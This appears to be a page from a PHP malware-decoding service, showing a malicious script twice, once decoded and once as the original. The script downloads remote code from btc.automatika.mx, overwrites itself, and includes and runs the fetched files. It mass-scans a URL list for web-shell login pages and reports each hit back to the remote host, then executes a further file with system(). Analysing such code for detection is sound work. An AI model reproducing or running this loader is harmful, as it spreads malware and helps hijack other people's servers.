Decoded Output
Download<?php
ini_set('max_execution_time',0);
ini_set('memory_limit', '512M');
date_default_timezone_set('Europe/Kiev');
function http_get_contents($url) {
// $codex = @file_get_contents($url);
// if (empty($codex)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$urlPage = curl_exec($ch);
curl_close($ch);
return($urlPage);
// }
// else {
// return $codex;
// }
}
file_put_contents(basename(__FILE__),http_get_contents('http://btc.automatika.mx/st/get_defau1t.txt'));
file_put_contents('list.txt',http_get_contents('http://btc.automatika.mx/st/list.txt'));
file_put_contents('roll.txt',http_get_contents('http://btc.automatika.mx/st/roll.txt'));
file_put_contents('angry.txt',http_get_contents('http://btc.automatika.mx/st/angry.txt'));
require_once('roll.txt');
require_once('angry.txt');
file_put_contents('get_defau1t.txt', http_get_contents('http://btc.automatika.mx/get_defau1t.php'));
function callback_function($response, $info, $request) {
if (preg_match('~(<pre align=center><form method=post>Password:)~i', $response, $out)) {
http_get_contents('http://btc.automatika.mx/vesta.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.defau1t.php'));goto end;
}
end:
return;
}
$AC = new AngryCurl('callback_function');
//$AC->init_console();
$AC->load_useragent_list('list.txt');
$f = fopen('get_defau1t.txt', 'r');
while(!feof($f)) {
$url = trim(fgets($f));
$AC->get($url);
}
$AC->execute(50);
unlink('get_defau1t.txt');
system('php inc.class.defau1t.php');
?>
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
None
Variables
None
Stats
| MD5 | fd2216dc3c07e14b |
|---|---|
| Eval Count | 0 |
| Decode Time | 95 ms |
Original Code
<?php
ini_set('max_execution_time',0);
ini_set('memory_limit', '512M');
date_default_timezone_set('Europe/Kiev');
function http_get_contents($url) {
// $codex = @file_get_contents($url);
// if (empty($codex)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$urlPage = curl_exec($ch);
curl_close($ch);
return($urlPage);
// }
// else {
// return $codex;
// }
}
file_put_contents(basename(__FILE__),http_get_contents('http://btc.automatika.mx/st/get_defau1t.txt'));
file_put_contents('list.txt',http_get_contents('http://btc.automatika.mx/st/list.txt'));
file_put_contents('roll.txt',http_get_contents('http://btc.automatika.mx/st/roll.txt'));
file_put_contents('angry.txt',http_get_contents('http://btc.automatika.mx/st/angry.txt'));
require_once('roll.txt');
require_once('angry.txt');
file_put_contents('get_defau1t.txt', http_get_contents('http://btc.automatika.mx/get_defau1t.php'));
function callback_function($response, $info, $request) {
if (preg_match('~(<pre align=center><form method=post>Password:)~i', $response, $out)) {
http_get_contents('http://btc.automatika.mx/vesta.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.defau1t.php'));goto end;
}
end:
return;
}
$AC = new AngryCurl('callback_function');
//$AC->init_console();
$AC->load_useragent_list('list.txt');
$f = fopen('get_defau1t.txt', 'r');
while(!feof($f)) {
$url = trim(fgets($f));
$AC->get($url);
}
$AC->execute(50);
unlink('get_defau1t.txt');
system('php inc.class.defau1t.php');
?>